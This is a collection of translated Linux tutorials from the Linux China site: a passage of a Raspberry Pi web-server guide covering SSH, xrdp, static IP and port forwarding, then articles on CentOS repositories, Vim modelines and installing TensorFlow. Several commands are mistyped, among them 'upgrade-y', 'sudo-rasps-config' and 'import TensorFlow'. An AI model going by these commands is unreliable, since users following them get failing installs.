把 MicroSD 卡（推荐 32 GB ，至少 16GB）插入到 USB MicroSD 卡读卡器里。然后把 USB 读卡器接入到你的电脑里。你可以把你的 SD 卡重命名为 “Raspberry” 以区别其他设备。然后点击 “Continue”。请先确保你的 SD 卡是空的，因为 Pi Filler 会在运行时 *擦除* 所有事先存在 SD 卡里的内容。如果你要备份卡里的内容，那你最好就马上备份。当你点 “Continue” 的时候，Raspbian OS 就会被写入到 SD 卡里。这个过程大概会花费一到三分钟左右。当写入完成后，推出 USB 读卡器，把 SD 卡拔出来插入到树莓派的 SD 卡槽里。把电源线接上，给树莓派供电。这时树莓派就会自己启动。树莓派的默认登录账户信息是：
* 用户名： pi
* 密码：raspberry
当树莓派首次启动完成时，会跳出一个标题为 “<ruby> 设置选项 <rt> Setup Options </rt></ruby>” 的配置界面，就像下面的图片一样 [脚注 2]：
选择 “<ruby> 扩展文件系统 <rt> Expand Filesystem </rt></ruby>” 这一选项并回车 [脚注 3]。 同时，我还推荐选择第二个选项 “<ruby> 修改密码 <rt> Change User Password </rt></ruby>”。这对保证安全性来说尤为重要。它还能个性化你的树莓派。
在选项列表中选择第三项 “<ruby> 启用引导到桌面 <rt> Enable Boot To Desktop/Scratch </rt></ruby>” 并回车。这时会跳到另一个标题为 “<ruby> 选择引导选项 <rt> Choose boot option </rt></ruby>” 的界面，就像下面这张图这样：
在这个界面选择第二个选项 “<ruby> 以用户‘pi’登录图形化桌面 <rt> Desktop log in as user 'pi' at the graphical desktop </rt></ruby>” 并回车 [脚注 4]。完成这个操作之后会回到之前的 “<ruby> 设置选项 <rt> Setup Options </rt></ruby>” 界面。如果没有回到之前的界面的话就选择当前界面底部的 “OK” 按钮并回车。
当这些操作都完成之后，选择当前界面底部的 “Finish” 按钮并回车，这时它就会自动重启。如果没有自动重启的话，就在终端里使用如下命令来重启。
```
$ sudo reboot
```
接上一步的重启，如果所有步骤都顺利进行的话，你会进入到类似下面这样桌面环境中。
当你进入了桌面之后，在终端中执行如下命令来更新树莓派的固件。
```
$ sudo apt-get update
$ sudo apt-get upgrade-y
$ sudo apt-get dist-upgrade -y
$ sudo rpi-update
```
这些操作可能会花费几分钟时间。完成之后，现在运行着的树莓派就是最新的了。
### 步骤 2： 配置树莓派
SSH 指的是 Secure Shell，是一种加密网络协议，可让你在计算机和树莓派之间安全地传输数据。 你可以从 Mac 的命令行控制你的树莓派，而无需显示器或键盘。
要使用 SSH，首先需要你的树莓派的 IP 地址。 打开终端并输入：
```
$ sudo ifconfig
```
如果你在使用以太网，看 `eth0` 部分。如果你在使用 Wi-Fi, 看 `wlan0` 部分。
查找 `inet addr`，后跟一个 IP 地址，如 192.168.1.115，这是本篇文章中使用的默认 IP。
有了这个地址，在终端中输入 :
```
$ ssh pi@192.168.1.115
```
对于 PC 上的 SSH，请参见 [脚注 5]。
出现提示时输入默认密码 `raspberry`，除非你之前更改过密码。
现在你已经通过 SSH 登录成功。
### 远程桌面
使用 GUI（图形用户界面）有时比命令行更容易。 在树莓派的命令行（使用 SSH）上键入：
```
$ sudo apt-get install xrdp
```
xrdp 支持 Mac 和 PC 的 Microsoft Remote Desktop 客户端。
在 Mac 上，在 App store 中搜索 “Microsoft Remote Desktop”。 下载它。 （对于 PC，请参见 [脚注 6]。）
安装完成之后，在你的 Mac 中搜索一个叫 “Microsoft Remote Desktop” 的应用并打开它，你会看到 :
点击 “New” 新建一个远程连接，在空白处填写如下配置。
关闭 “New” 窗口就会自动保存。
你现在应该看到 “My Desktop” 下列出的远程连接。 双击它。
简单加载后，你应该在屏幕上的窗口中看到你的树莓派桌面，如下所示：
好了，现在你不需要额外的鼠标、键盘或显示器就能控制你的树莓派。这是一个更为轻量级的配置。
### 静态化本地 IP 地址
有时候你的本地 IP 地址 192.168.1.115 会发生改变。我们需要让这个 IP 地址静态化。输入:
```
$ sudo ifconfig
```
从 `eth0` 部分或 `wlan0` 部分，记下 `inet addr`（树莓派当前 IP），`bcast`（广播 IP 范围）和 `mask`（子网掩码地址）。 然后输入：
```
$ netstat -nr
```
记下 `destination` 和 `gateway/network`。
大概应该是这样子的:
```
net address 192.168.1.115
bcast 192.168.1.255
mask 255.255.255.0
gateway 192.168.1.1
network 192.168.1.1
destination 192.168.1.0
```
有了这些信息，你可以很简单地设置一个静态 IP。输入:
```
$ sudo nano /etc/dhcpcd.conf
```
不要去动 `/etc/network/interfaces`。
剩下要做的就是把这些内容追加到这个文件的底部，把 IP 换成你想要的 IP 地址。
```
interface eth0
static ip_address=192.168.1.115
static routers=192.168.1.1
static domain_name_servers=192.168.1.1
```
一旦你设置了静态内部 IP 地址，这时需要通过如下命令重启你的树莓派 :
```
$ sudo reboot
```
重启完成之后，在终端中输入 :
```
$ sudo ifconfig
```
这时你就可以看到你的树莓派上的新的静态配置了。
### 静态化全局 IP 地址
如果您的 ISP（互联网服务提供商）已经给您一个静态外部 IP 地址，您可以跳到端口转发部分。 如果没有，请继续阅读。
你已经设置了 SSH、远程桌面和静态内部 IP 地址，因此现在本地网络中的计算机将会知道在哪里可以找到你的树莓派。 但是你仍然无法在本地 Wi-Fi 网络外部访问你的树莓派。 你需要树莓派可以从互联网上的任何地方公开访问。这需要静态的外部 IP 地址 [脚注 7]。
联系您的 ISP 并请求静态的外部（有时称为静态全局）IP 地址可能会是一个非常敏感的过程。 ISP 拥有决策权，所以我会非常小心处理。 他们可能拒绝你的的静态外部 IP 地址请求。 如果他们拒绝了你的请求，你不要怪罪于他们，因为这种类型的请求有法律和操作风险。 他们特别不希望客户运行中型或大型互联网服务。 他们可能会明确地询问为什么需要一个静态的外部 IP 地址。 最好说实话，告诉他们你打算主办一个低流量的个人网站或类似的小型非营利互联网服务。 如果一切顺利，他们应该会建立一个工单，并在一两个星期内给你打电话。
### 端口转发
这个新获得的 ISP 分配的静态全局 IP 地址是用于访问路由器。 树莓派现在仍然无法访问。 你需要设置端口转发才能访问树莓派。
端口是信息在互联网上传播的虚拟途径。 你有时需要转发端口，以使计算机像树莓派一样可以访问 Internet，因为它位于网络路由器后面。 VollmilchTV 专栏在 YouTube 上的一个视频，名字是[什么是 TCP/IP，端口，路由，Intranet，防火墙，互联网](https://www.youtube.com/watch?v=iskxw6T1Wb8)，可以帮助你更好地了解端口。
端口转发可用于像 树莓派 Web 服务器或 VoIP 或点对点下载的应用程序。 有 [65000个以上的端口](https://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers)可供选择，因此你可以为你构建的每个 Internet 应用程序分配一个不同的端口。
设置端口转发的方式取决于你的路由器。 如果你有 Linksys 的话，Gabriel Ramirez 在 YouTbue 上有一个标题叫 [如何让你的 Apache Ubuntu 服务器连到互联网](https://www.youtube.com/watch?v=i1vB7JnPvuE#t=07m08s) 的视频解释了如何设置。 如果您没有 Linksys，请阅读路由器附带的文档，以便自定义和定义要转发的端口。
你需要转发 SSH 以及远程桌面端口。
如果你认为你已经过配置端口转发了，输入下面的命令以查看它是否正在通过 SSH 工作：
```
$ ssh pi@your_global_ip_address
```
它应该会提示你输入密码。
检查端口转发是否也适用于远程桌面。 打开 Microsoft Remote Desktop。 你之前的的远程连接设置应该已经保存了，但需要使用静态的外部 IP 地址（例如 195.198.227.116）来更新 “PC 名称” 字段，而不是静态的内部地址（例如 192.168.1.115）。
现在，尝试通过远程桌面连接。 它应该简单地加载并显示树莓派的桌面。
好了， 树莓派现在可以从互联网上访问了，并且已经准备好进行高级项目了。
作为一个奖励选项，您可以保持到您的 Pi 的两个远程连接。 一个通过互联网，另一个通过 LAN（局域网）。很容易设置。在 Microsoft Remote Desktop 中，保留一个称为 “Pi Internet” 的远程连接，另一个称为 “Pi Local”。 将 Pi Internet 的 “PC 名称” 配置为静态外部 IP 地址，例如 195.198.227.116。 将 Pi Local 的 “PC 名称” 配置为静态内部 IP 地址，例如 192.168.1.115。 现在，您可以选择在全局或本地连接。
如果你还没有看过由 Gabriel Ramirez 发布的 [如何让你的 Apache Ubuntu 服务器连到互联网](https://www.youtube.com/watch?v=i1vB7JnPvuE#t=07m08s)，那么你可以去看一下，作为过渡到第二个项目的教程。 它将向您展示项目背后的技术架构。 在我们的例子中，你使用的是树莓派而不是 Ubuntu 服务器。 动态 DNS 位于域名公司和您的路由器之间，这是 Ramirez 省略的部分。 除了这个微妙之处外，视频是在整体上解释系统的工作原理。 您可能会注意到本教程涵盖了树莓派设置和端口转发，这是服务器端或后端。 查看原始来源，涵盖域名，动态 DNS，Jekyll（静态 HTML 生成器）和 Apache（网络托管）的更高级项目，这是客户端或前端。
### 脚注
[1] 我不建议从 NOOBS 操作系统开始。 我更喜欢从功能齐全的 Raspbian Jessie 操作系统开始。
[2] 如果没有弹出 “Setup Options”，可以通过打开终端并执行该命令来始终找到它：
```
$ sudo-rasps-config
```
[3] 我们这样做是为了将 SD 卡上存在的所有空间用作一个完整的分区。 所有这一切都是扩大操作系统以适应 SD 卡上的整个空间，然后可以将其用作树莓派的存储内存。
[4] 我们这样做是因为我们想启动进入熟悉的桌面环境。 如果我们不做这个步骤，树莓派每次会进入到终端而不是 GUI 中。
[5]
[下载并运行 PuTTY](http://www.chiark.greenend.org.uk/%7Esgtatham/putty/download.html) 或 Windows 的其它 SSH 客户端。 在该字段中输入你的 IP 地址，如上图所示。 将默认端口保留为 22。 回车，PuTTY 将打开一个终端窗口，提示你输入用户名和密码。 填写然后开始在树莓派上进行你的远程工作。
[6] 如果尚未安装，请下载 [Microsoft Remote Desktop](https://www.microsoft.com/en-us/store/apps/microsoft-remote-desktop/9wzdncrfj3ps)。 搜索您的计算机上的的 Microsoft Remote Desktop。 运行。 提示时输入 IP 地址。 接下来，会弹出一个 xrdp 窗口，提示你输入用户名和密码。
[7] 路由器具有动态分配的外部 IP 地址，所以在理论上，它可以从互联网上暂时访问，但是您需要 ISP 的帮助才能使其永久访问。 如果不是这样，你需要在每次使用时重新配置远程连接。
*原文出自 [Mitchell McLaughlin's Full-Stack Computer Projects](https://mitchellmclaughlin.com/server.html)。*
---
作者简介：
Mitchell McLaughlin - 我是一名开放网络的贡献者和开发者。我感兴趣的领域很广泛，但我特别喜欢开源软件/硬件，比特币和编程。 我住在旧金山，我有过一些简短的 GoPro 和 Oracle 工作经验。
---
via: <https://opensource.com/article/17/3/building-personal-web-server-raspberry-pi-3>
作者：[Mitchell McLaughlin](https://opensource.com/users/mitchm) 译者：[chenxinlong](https://github.com/chenxinlong) 校对：[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
CentOS 上最佳的第三方仓库
|
Carla Schroder
|
https://www.linux.com/learn/intro-to-linux/2017/2/best-third-party-repositories-centos
|
从 Software Collections、EPEL 和 Remi 获得可靠的 CentOS 新版软件。
|
/data/attachment/album/201705/15/170703c9g69974koqgr565.png.thumb.jpg
|
/data/attachment/album/201705/15/170703c9g69974koqgr565.png
| true | false | true |
Dotcra
| false |
[
"RHEL",
"EPEL",
"CentOS"
] |
技术
|
{
"viewnum": 21866,
"commentnum": 1,
"favtimes": 7,
"sharetimes": 0,
"likes": 0
}
|
[
{
"postip": "58.246.118.137",
"message": "学习了。scl 安装 gcc6 确实很方便，之前从第三方安装的 devtools 只能到4.8，而且还要手动配置 repo",
"username": "shengwenbo [Firefox 52.0|GNU/Linux]",
"date": "2017-05-17T19:10:33"
}
] |
[
{
"raid": 2324,
"displayorder": 0
},
{
"raid": 2922,
"displayorder": 1
},
{
"raid": 6776,
"displayorder": 2
}
] |
从 Software Collections、EPEL 和 Remi 获得可靠的 CentOS 新版软件。
| 2017-05-15T17:04:00 | 2017-05-15T17:04:00 | 8,509 |
/article-8509-1.html
|
>
> 从 Software Collections、EPEL 和 Remi 获得可靠的 CentOS 新版软件。
>
>
>
在 Red Hat 企业 Linux（RHEL） 上，提供那些早已老掉牙的软件已经是企业级软件厂商的传统了。这倒不是因为他们懒，而确实是用户需要。很多公司像看待家具一样看待软件：我买一张桌子，能用一辈子，软件不应该也这样吗？
CentOS 作为 RHEL 的复制品有着同样的遭遇。虽然 Red Hat 还在为这些被厂商抛弃的过时软件提供支持、修补安全漏洞等，但如果你的应用依赖新版软件，你就得想办法了。 我在这个问题上不止一次碰壁。 LAMP 组合里任一个组件都需要其它所有组件能与其兼容，这有时就显得很麻烦。 比如说去年我就被 RHEL/CentOS 折腾得够呛。REHL/CentOS 第 6 版最高支持 PHP 5.3 ，第 7 版支持到 PHP 5.4 。而 PHP 5.3 早在 2014 年 8 月就到达 EOL（End Of Life) ，不再被厂商支持了， PHP 5.4 的 EOL 在 2015 年 9 月， 5.5 则是 2016 年 7 月。 有太多古老的软件版本，包括 MySQL、Python 等，它们应该像木乃伊一样被展示在博物馆里，但它们却活在你的系统上。
那么，可怜的管理员们该怎么办呢？如果你跑着 RHEL/CentOS ，那应该先试试 [Software Collections](https://www.softwarecollections.org/en/)，因为这是 Red Hat 唯一支持的新软件包源。 [Software Collections](https://www.softwarecollections.org/en/) 为 CentOS 设立了专门的仓库，安装和管理都和其它第三方仓库一样。但如果你用的是 RHEL 的，情况就有点不同了，具体请参考 [RHEL 的解决方法](https://access.redhat.com/solutions/472793)。[Software Collections](https://www.softwarecollections.org/en/) 同样支持 Fedora 和 Scientific Linux 。
### 安装 Software Collections
在 CentOS 6/7 上安装 Software Collections 的命令如下：
```
$ sudo yum install centos-release-scl
```
`centos-release-scl-rh` 可能作为依赖包被同时安装。
然后就可以像平常一样搜索、安装软件包了：
```
$ yum search php7
[...]
rh-php70.x86_64 : Package that installs PHP 7.0
[...]
$ sudo yum install rh-php70
```
最后一件事就是启用你的新软件包：
```
$ scl enable rh-php70 bash
$ php -v
PHP 7.0.10
```
此命令会开启一个新的 bash 并配置好环境变量以便运行新软件包。 如果需要的话，你还得安装对应的扩展包，比如对于 Python 、PHP、MySQL 等软件包，有些配置文件也需要修改以指向新版软件（比如 Apache ）。
这些 SCL 软件包在重启后不会激活。SCL 的设计初衷就是在不影响原有配置的前提下，让新旧软件能一起运行。不过你可以通过 `~/.bashrc` 加载 SCL 提供的 `enable` 脚本来实现自动启用。 SCL 的所有软件包都安装在 `/opt` 下， 以我们的 PHP 7 为例，在 `~/.bashrc` 里加入一行：
```
source /opt/rh/rh-php70/enable
```
以后相应的软件包就能在重启后自动启用了。有新软件保驾护航，你终于可以专注于自己的业务了。
### 列出可用软件包
那么，到底 Software Collections 里都是些什么呢？ centos-release-scl 里有一些由社区维护的额外的软件包。除了在 [CentOS Wiki](https://wiki.centos.org/SpecialInterestGroup/SCLo/CollectionsList) 查看软件包列表外，你还可以使用 Yum 。我们先来看看安装了哪些仓库：
```
$ yum repolist
[...]
repo id repo name
base/7/x86_64 CentOS-7 - Base
centos-sclo-rh/x86_64 CentOS-7 - SCLo rh
centos-sclo-sclo/x86_64 CentOS-7 - SCLo sclo
extras/7/x86_64 CentOS-7 - Extras
updates/7/x86_64 CentOS-7 - Updates
```
Yum 没有专门用来打印某一个仓库中所有软件包的命令，所以你得这样来： （LCTT 译注：实际上有，`yum repo-pkgs REPO list`，需要 root 权限，dnf 同）
```
$ yum --disablerepo "*" --enablerepo centos-sclo-rh \
list available | less
```
`--disablerepo` 与 `--enablerepo` 选项的用法没有详细的文档，这里简单说下。 实际上在这个命令里你并没有禁用或启用什么东西，而只是将你的搜索范围限制在某一个仓库内。 此命令会打印出一个很长的列表，所以我们用管道传递给 `less` 输出。
### EPEL
强大的 Fedora 社区为 Feora 及所有 RHEL 系的发行版维护着 [EPEL：Extra Packages for Enterprise Linux](https://fedoraproject.org/wiki/EPEL) 。 里面包含一些最新软件包以及一些未被发行版收纳的软件包。安装 EPEL 里的软件就不用麻烦 `enable` 脚本了，直接像平常一样用。你还可以用 `--disablerepo` 和 `--enablerepo` 选项指定从 EPEL 里安装软件包：
```
$ sudo yum --disablerepo "*" --enablerepo epel install [package]
```
### Remi Collet
Remi Collet 在 [Remi 的 RPM 仓库](http://rpms.remirepo.net/) 里维护着大量更新的和额外的软件包。需要先安装 EPEL ，因为 Remi 仓库依赖它。
CentOS wiki 上有较完整的仓库列表：[更多的第三方仓库](https://wiki.centos.org/AdditionalResources/Repositories) ，用哪些，不用哪些，里面都有建议。
---
via: <https://www.linux.com/learn/intro-to-linux/2017/2/best-third-party-repositories-centos>
作者：[CARLA SCHRODER](https://www.linux.com/users/cschroder) 译者：[Dotcra](https://github.com/Dotcra) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
如何在 Vim 中使用模式行进行文件特定的设置
|
Ansh
|
https://www.howtoforge.com/tutorial/vim-modeline-settings/
|
Vim 的模式行特性让你能够进行特定于文件的更改。比如，假设你想把项目中的一个特定文件中的所有制表符用空格替换，并且确保这个更改不会影响到其它所有文件。这是模式行帮助你完成你想做的事情的一个理想情况。
|
/data/attachment/album/201705/15/181012czggj0hjqpflh7hp.jpg.thumb.jpg
|
/data/attachment/album/201705/15/181012czggj0hjqpflh7hp.jpg
| true | false | true |
ucasFL
| false |
[
"vim",
"模式行"
] |
技术
|
{
"viewnum": 5068,
"commentnum": 0,
"favtimes": 1,
"sharetimes": 0,
"likes": 0
}
|
[] |
[] |
Vim 的模式行特性让你能够进行特定于文件的更改。比如，假设你想把项目中的一个特定文件中的所有制表符用空格替换，并且确保这个更改不会影响到其它所有文件。这是模式行帮助你完成你想做的事情的一个理想情况。
| 2017-05-15T18:10:54 | 2017-05-15T18:10:54 | 8,510 |
/article-8510-1.html
|
虽然[插件](/article-7901-1.html)毫无疑问是 Vim 最大的优势，然而，还有其它一些功能，使得它成为当今 Linux 用户中最强大、功能最丰富的文本编辑器/IDE 之一。其中一个功能就是可以根据文件做特定的设置。我们可以使用该编辑器的<ruby> 模式行 <rp> （ </rp> <rt> Modeline </rt> <rp> ） </rp></ruby>特性来实现该功能。
在这篇文章中，我将讨论如何使用 Vim 的<ruby> <a href="http://vim.wikia.com/wiki/Modeline_magic"> 模式行 </a> <rp> （ </rp> <rt> Modeline </rt> <rp> ） </rp></ruby>特性来简单的理解一些例子。
在开始之前，值得提醒一下，这篇教程中提及的所有例子、命令和指令都已经在 Ubuntu 16.04 中使用 Vim 7.4 版本测试过。
### VIM 模式行
#### 用法
正如上面已经提到的， Vim 的模式行特性让你能够进行特定于文件的更改。比如，假设你想把项目中的一个特定文件中的所有制表符用空格替换，并且确保这个更改不会影响到其它所有文件。这是模式行帮助你完成你想做的事情的一个理想情况。
因此，你可以考虑将下面这一行加入文件的开头或结尾来完成这件事。
```
# vim: set expandtab:
```
（LCTT 译注：模式行就是一行以注释符，如 `#`、`//`、`/*` 开头，间隔一个空格，以 `vim:` 关键字触发的设置命令。可参看：<http://vim.wikia.com/wiki/Modeline_magic> ）
如果你是在 Linux 系统上尝试上面的练习来测试用例，很有可能它将不会像你所期望的那样工作。如果是这样，也不必担心，因为某些情况下，模式行特性需要先激活才能起作用（出于安全原因，在一些系统比如 Debian、Ubuntu、GGentoo 和 OSX 上默认情况下禁用）。
为了启用该特性，打开 `.vimrc` 文件（位于 `home` 目录），然后加入下面一行内容：
```
set modeline
```
现在，无论何时你在该文件输入一个制表符然后保存时（文件中已输入 `expandtab` 模式行命令的前提下），都会被自动转换为空格。
让我们考虑另一个用例。假设在 Vim 中， 制表符默认设置为 4 个空格，但对于某个特殊的文件，你想把它增加到 8 个。对于这种情况，你需要在文件的开头或末尾加上下面这行内容：
```
// vim: noai:ts=8:
```
现在，输入一个制表符，你会看到，空格的数量为 8 个。
你可能已经注意到我刚才说的，这些模式行命令需要加在靠近文件的顶部或底部。如果你好奇为什么是这样，那么理由是该特性以这种方式设计的。下面这一行（来自 Vim 官方文件）将会解释清楚：
>
> “模式行不能随意放在文件中的任何位置：它需要放在文件中的前几行或最后几行。`modelines` 变量控制 Vim 检查模式行在文件中的确切位置。请查看 `:help modelines` 。默认情况下，设置为 5 行。”
>
>
>
下面是 `:help modelines` 命令（上面提到的）输出的内容：
>
> 如果 `modeline` 已启用并且 `modelines` 给出了行数，那么便在相应位置查找 `set` 命令。如果 `modeline` 禁用或 `modelines` 设置的行数为 0 则不查找。
>
>
>
尝试把模式行命令置于超出 5 行的范围（距离文件底部和顶部的距离均超过 5 行），你会发现， 制表符将会恢复为 Vim 默认数目的空格 — 在我的情况里是 4 个空格。
然而，你可以按照自己的意愿改变默认行数，只需在你的 `.vimrc` 文件中加入下面一行命令
```
set modelines=[新值]
```
比如，我把值从 5 增加到了 10 。
```
set modelines=10
```
这意味着，现在我可以把模式行命令置于文件前 10 行或最后 10 行的任意位置。
继续，无论何时，当你在编辑一个文件的时候，你可以输入下面的命令（在 Vim 编辑器的命令模式下输入）来查看当前与命令行相关的设置以及它们最新的设置。
```
:verbose set modeline? modelines?
```
比如，在我的例子中，上面的命令产生了如下所示的输出：
```
modeline
Last set from ~/.vimrc
modelines=10
Last set from ~/.vimrc
```
关于 Vim 的模式行特性，你还需要知道一些重要的点：
* 默认情况下，当 Vim 以非兼容（`nocompatible`）模式运行时该特性是启用的，但需要注意的是，在一些发行版中，出于安全考虑，系统的 `vimrc` 文件禁用了该选项。
* 默认情况下，当以 root 权限编辑文件时，该特性被禁用（如果你是使用 `sudo` 方式打开该文件，那么该特性依旧能够正常工作）。
* 通过 `set` 来设置模式行，其结束于第一个冒号，而非反斜杠。不使用 `set`，则后面的文本都是选项。比如，`/* vim: noai:ts=4:sw=4 */` 是一个无效的模式行。
（LCTT 译注：关于模式行中的 `set`，上述描述指的是：如果用 `set` 来设置，那么当发现第一个 `:` 时，表明选项结束，后面的 `*/` 之类的为了闭合注释而出现的文本均无关；而如果不用 `set` 来设置，那么以 `vim:` 起头的该行所有内容均视作选项。 ）
#### 安全考虑
令人沮丧的是， Vim 的模式行特性可能会造成安全性问题。事实上，在过去，已经报道过多个和模式行相关的问题，包括 [shell 命令注入](https://tools.cisco.com/security/center/viewAlert.x?alertId=13223)，[任意命令执行](http://usevim.com/2012/03/28/modelines/)和[无授权访问](https://tools.cisco.com/security/center/viewAlert.x?alertId=5169)等。我知道，这些问题发生在很早的一些时候，现在应该已经修复好了，但是，这提醒了我们，模式行特性有可能会被黑客滥用。
### 结论
模式行可能是 Vim 编辑器的一个高级命令，但是它并不难理解。毫无疑问，它的学习曲线会有一些复杂，但是不需多问也知道，该特性是多么的有用。当然，出于安全考虑，在启用并使用该选项前，你需要对自己的选择进行权衡。
你有使用过模式行特性吗？你的体验是什么样的？记得在下面的评论中分享给我们。
---
via: <https://www.howtoforge.com/tutorial/vim-modeline-settings/>
作者：[Ansh](https://www.howtoforge.com/tutorial/vim-modeline-settings/) 译者：[ucasFL](https://github.com/ucasFL) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
在 Ubuntu 16.04 中安装支持 CPU 和 GPU 的 Google TensorFlow 神经网络软件
|
Akshay Pai
|
https://www.howtoforge.com/tutorial/installing-tensorflow-neural-network-software-for-cpu-and-gpu-on-ubuntu-16-04/
|
TensorFlow 是一个非常强大的工具，专注于一种称为深层神经网络（DNN）的神经网络。
深层神经网络被用来执行复杂的机器学习任务，例如图像识别、手写识别、自然语言处理、聊天机器人等等。
|
/data/attachment/album/201705/16/092112rszflhhulbhhcfgt.jpg.thumb.jpg
|
/data/attachment/album/201705/16/092112rszflhhulbhhcfgt.jpg
| true | false | true |
geekpi
| false |
[
"TensorFlow",
"神经网络"
] |
技术
|
{
"viewnum": 9831,
"commentnum": 0,
"favtimes": 4,
"sharetimes": 0,
"likes": 0
}
|
[] |
[] |
TensorFlow 是一个非常强大的工具，专注于一种称为深层神经网络（DNN）的神经网络。
深层神经网络被用来执行复杂的机器学习任务，例如图像识别、手写识别、自然语言处理、聊天机器人等等。
| 2017-05-16T09:21:39 | 2017-05-16T09:21:39 | 8,512 |
/article-8512-1.html
|
TensorFlow 是用于机器学习任务的开源软件。它的创建者 Google 希望提供一个强大的工具以帮助开发者探索和建立基于机器学习的应用，所以他们在去年作为开源项目发布了它。TensorFlow 是一个非常强大的工具，专注于一种称为<ruby> 深层神经网络 <rt> deep neural network </rt></ruby>（DNN）的神经网络。
深层神经网络被用来执行复杂的机器学习任务，例如图像识别、手写识别、自然语言处理、聊天机器人等等。这些神经网络被训练学习其所要执行的任务。由于训练所需的计算是非常巨大的，在大多数情况下需要 GPU 支持，这时 TensorFlow 就派上用场了。启用了 GPU 并安装了支持 GPU 的软件，那么训练所需的时间就可以大大减少。
本教程可以帮助你安装只支持 CPU 的和同时支持 GPU 的 TensorFlow。要使用带有 GPU 支持的 TensorFLow，你必须要有一块支持 CUDA 的 Nvidia GPU。CUDA 和 CuDNN（Nvidia 的计算库）的安装有点棘手，本指南会提供在实际安装 TensorFlow 之前一步步安装它们的方法。
Nvidia CUDA 是一个 GPU 加速库，它已经为标准神经网络中用到的标准例程调优过。CuDNN 是一个用于 GPU 的调优库，它负责 GPU 性能的自动调整。TensorFlow 同时依赖这两者用于训练并运行深层神经网络，因此它们必须在 TensorFlow 之前安装。
需要指出的是，那些不希望安装支持 GPU 的 TensorFlow 的人，你可以跳过以下所有的步骤并直接跳到：“步骤 5：安装只支持 CPU 的 TensorFlow”。
关于 TensorFlow 的介绍可以在[这里](http://sourcedexter.com/what-is-tensorflow/)找到。
### 1、 安装 CUDA
首先，在[这里](https://developer.nvidia.com/compute/cuda/8.0/Prod2/local_installers/cuda-repo-ubuntu1604-8-0-local-ga2_8.0.61-1_amd64-deb)下载用于 Ubuntu 16.04 的 CUDA 库。此文件非常大（2GB），因此也许会花费一些时间下载。
下载的文件是 “.deb” 包。要安装它，运行下面的命令：
```
sudo dpkg -i cuda-repo-ubuntu1604-8-0-local_8.0.44-1_amd64.deb
```
下面的的命令会安装所有的依赖，并最后安装 cuda 工具包：
```
sudo apt install -f
sudo apt update
sudo apt install cuda
```
如果成功安装，你会看到一条消息说：“successfully installed”。如果已经安装了，接着你可以看到类似下面的输出：
### 2、安装 CuDNN 库
CuDNN 下载需要花费一些功夫。Nvidia 没有直接提供下载文件（虽然它是免费的）。通过下面的步骤获取 CuDNN。
1. 点击[此处](https://developer.nvidia.com/group/node/873374/subscribe/og_user_node)进入 Nvidia 的注册页面并创建一个帐户。第一页要求你输入你的个人资料，第二页会要求你回答几个调查问题。如果你不知道所有答案也没问题，你可以随便选择一个选项。
2. 通过前面的步骤，Nvidia 会向你的邮箱发送一个激活链接。在你激活之后，直接进入[这里](https://developer.nvidia.com/rdp/form/cudnn-download-survey)的 CuDNN 下载链接。
3. 登录之后，你需要填写另外一份类似的调查。随机勾选复选框，然后点击调查底部的 “proceed to Download”，在下一页我们点击同意使用条款。
4. 最后，在下拉中点击 “Download cuDNN v5.1 (Jan 20, 2017), for CUDA 8.0”，最后，你需要下载这两个文件：
* [cuDNN v5.1 Runtime Library for Ubuntu14.04 (Deb)](https://developer.nvidia.com/compute/machine-learning/cudnn/secure/v5.1/prod_20161129/8.0/libcudnn5_5.1.10-1+cuda8.0_amd64-deb)
* [cuDNN v5.1 Developer Library for Ubuntu14.04 (Deb)](https://developer.nvidia.com/compute/machine-learning/cudnn/secure/v5.1/prod_20161129/8.0/libcudnn5-dev_5.1.10-1+cuda8.0_amd64-deb)
注意：即使上面说的是用于 Ubuntu 14.04 的库。它也适用于 16.04。
现在你已经同时有 CuDNN 的两个文件了，是时候安装它们了！在包含这些文件的文件夹内运行下面的命令：
```
sudo dpkg -i libcudnn5_5.1.5-1+cuda8.0_amd64.deb
sudo dpkg -i libcudnn5-dev_5.1.5-1+cuda8.0_amd64.deb
```
下面的图片展示了这些命令的输出：
### 3、 在 bashrc 中添加安装位置
安装位置应该被添加到 bashrc 文件中，以便系统下一次知道如何找到这些用于 CUDA 的文件。使用下面的命令打开 bashrc 文件：
```
sudo gedit ~/.bashrc
```
文件打开后，添加下面两行到文件的末尾：
```
export LD_LIBRARY_PATH="$LD_LIBRARY_PATH:/usr/local/cuda/lib64:/usr/local/cuda/extras/CUPTI/lib64"
export CUDA_HOME=/usr/local/cuda
```
### 4、 安装带有 GPU 支持的 TensorFlow
这步我们将安装带有 GPU 支持的 TensorFlow。如果你使用的是 Python 2.7，运行下面的命令：
```
pip install TensorFlow-gpu
```
如果安装了 Python 3.x，使用下面的命令：
```
pip3 install TensorFlow-gpu
```
安装完后，你会看到一条 “successfully installed” 的消息。现在，剩下要测试的是是否已经正确安装。打开终端并输入下面的命令测试：
```
python
import TensorFlow as tf
```
你应该会看到类似下面图片的输出。在图片中你可以观察到 CUDA 库已经成功打开了。如果有任何错误，消息会提示说无法打开 CUDA 甚至无法找到模块。为防你或许遗漏了上面的某步，仔细重做教程的每一步就行了。
### 5、 安装只支持 CPU 的 TensorFlow
注意：这步是对那些没有 GPU 或者没有 Nvidia GPU 的人而言的。其他人请忽略这步！！
安装只支持 CPU 的 TensorFlow 非常简单。使用下面两个命令：
```
pip install TensorFlow
```
如果你有 python 3.x，使用下面的命令：
```
pip3 install TensorFlow
```
是的，就是这么简单！
安装指南至此结束，你现在可以开始构建深度学习应用了。如果你刚刚起步，你可以在[这里](https://www.tensorflow.org/get_started/mnist/beginners)看下适合初学者的官方教程。如果你正在寻找更多的高级教程，你可以在[这里](https://www.tensorflow.org/tutorials/image_recognition)学习了解如何设置可以高精度识别上千个物体的图片识别系统/工具。
（题图：Pixabay，CC0）
---
via: <https://www.howtoforge.com/tutorial/installing-tensorflow-neural-network-software-for-cpu-and-gpu-on-ubuntu-16-04/>
